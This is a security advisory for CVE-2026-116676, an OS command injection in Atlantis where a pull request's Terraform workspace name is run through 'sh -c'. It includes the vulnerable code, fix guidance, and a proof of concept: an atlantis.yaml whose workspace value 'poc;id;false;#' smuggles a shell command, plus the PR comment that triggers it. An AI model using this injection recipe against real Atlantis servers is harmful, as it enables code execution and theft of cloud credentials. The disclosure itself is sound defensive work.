Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan
CVE-2026-116676 · GHSA-rjh2-4xgw-p2hj · published 27 Oct 2026
How serious is it
- Severity: high, CVSS score 8.8 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-116676?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/runatlantis/atlantis(Go) >= 0.4.0, <= 0.47.0
How to check
- Run
go list -m github.com/runatlantis/atlantisin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/runatlantis/atlantisto 0.47.1 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
Atlantis passes the Terraform `workspace` value from a pull request's `atlantis.yaml` into a shell command without quoting or escaping it.
A contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name and execute arbitrary commands as the Atlantis service account. This does not require custom workflows, `allow_custom_workflows`, or permission to run `terraform apply`.
The executed command inherits the Atlantis process environment, which commonly contains cloud-provider, Terraform, and VCS credentials.
### Details
Verified against current `upstream/main` commit `92ce5c51d1a050357e44df3535483425e59fa984` on August 13, 2026.
The vulnerable data flow is:
1. The PR-controlled project workspace is validated in [`server/core/config/raw/project.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/config/raw/project.go#L139-L149).
Validation rejects only `..`, `/`, and `\`. Shell metacharacters such as `;`, `#`, `$`, redirections, and whitespace remain permitted.
2. The workspace is passed directly as a Terraform command argument in [`server/core/runtime/workspace_step_runner_delegate.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/runtime/workspace_step_runner_delegate.go#L86-L96):
```go
[]string{workspaceCmd, "select", ctx.Workspace}
```
3. Terraform arguments are concatenated into a single string using `strings.Join(args, " ")` in [`server/core/terraform/tfclient/terraform_client.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#L451-L468):
```go
tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " "))
```
4. The resulting string is executed through `sh -c` in [`server/core/terraform/tfclient/terraform_client.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#L416-L427):
```go
cmd := exec.Command("sh", "-c", tfCmd)
```
Consequently, a workspace such as:
```text
poc;id;false;#
```
produces commands equivalent to:
```sh
terraform workspace select poc;id;false;#
terraform workspace new poc;id;false;#
```
`raw.Project.Validate()` was confirmed to return no error for this workspace value.
Atlantis documents that planning untrusted Terraform can already be dangerous because providers and external data sources execute code. The distinct issue here is that an ordinary project configuration field becomes shell source, bypassing the explicit `allow_custom_workflows` control and requiring no malicious provider, external data source, custom workflow, or apply operation.
The primary remediation should be to execute Terraform using an argument vector rather than constructing shell source—for example, `exec.Command(binaryPath, args...)`. Any required environment-variable expansion should be performed without invoking a shell. Strict workspace-name validation would also provide defense in depth.
### PoC
Only reproduce this against a disposable Atlantis instance and test repository.
#### Preconditions
- Atlantis processes `atlantis.yaml` from the pull request branch.
- The pull request is eligible to run `atlantis plan`.
- For a fork pull request, the server must have `--allow-fork-prs` enabled. A same-repository branch does not require this flag.
- No custom workflows or apply permissions are required.
#### Repository contents
Create `main.tf`:
```hcl
terraform {
required_version = ">= 1.0"
}
```
Create `atlantis.yaml`:
```yaml
version: 3
projects:
- name: workspace-rce-poc
dir: .
workspace: "poc;id;false;#"
autoplan:
enabled: false
```
Open a pull request containing these files and comment:
```text
atlantis plan -p workspace-rce-poc
```
#### Expected result
Atlantis first runs `terraform workspace select`. The injected `false` causes that command invocation to return an error, so Atlantis retries using `terraform workspace new`.
On both attempts, the shell executes `id` as a separate command. The second failure includes the combined command output in the Atlantis error response, exposing output similar to:
```text
uid=1000(atlantis) gid=1000(atlantis) groups=1000(atlantis)
```
This demonstrates arbitrary shell-command execution without creating a custom workflow or reaching the apply phase.
The payload uses only `id` and `false` and does not access credentials, make network requests, or modify the host beyond Terraform potentially creating the disposable `poc` workspace.
### Impact
This is an OS command injection vulnerability resulting in remote code execution as the Atlantis service account.
Affected deployments are those that:
- Process pull-request-controlled `atlantis.yaml` project configuration; and
- Permit the attacker-controlled pull request to trigger an Atlantis plan.
Potential consequences include:
- Reading and exfiltrating cloud-provider, Terraform, and VCS credentials inherited from the Atlantis process.
- Accessing Terraform state, plan files, repository checkouts, caches, and other data available to the Atlantis user.
- Modifying files or binaries accessible to the service account.
- Making network requests using the Atlantis server's network identity.
- Pivoting into infrastructure accessible through the server's credentials or network placement.
For public repositories, arbitrary external contributors are directly exposed when `--allow-fork-prs` is enabled. Without fork PR support, the vulnerable population includes users able to create eligible same-repository pull requests and attackers controlling such accounts.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/runatlantis/atlantis/security/advisories/GHSA-rjh2-4xgw-p2hj
- nvd.nist.gov/vuln/detail/CVE-2026-116676
- github.com/runatlantis/atlantis/pull/6792
- github.com/runatlantis/atlantis/commit/8dd22b4d0a9d7c129fdbf6a3398dd1c4cf8c3a59
- github.com/runatlantis/atlantis/commit/f04df0d53f0544d9eb6f5026dd8b74fbefd82ac8
- github.com/runatlantis/atlantis/releases/tag/v0.47.1
- github.com/advisories/GHSA-rjh2-4xgw-p2hj
- github.com/runatlantis/atlantis
Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON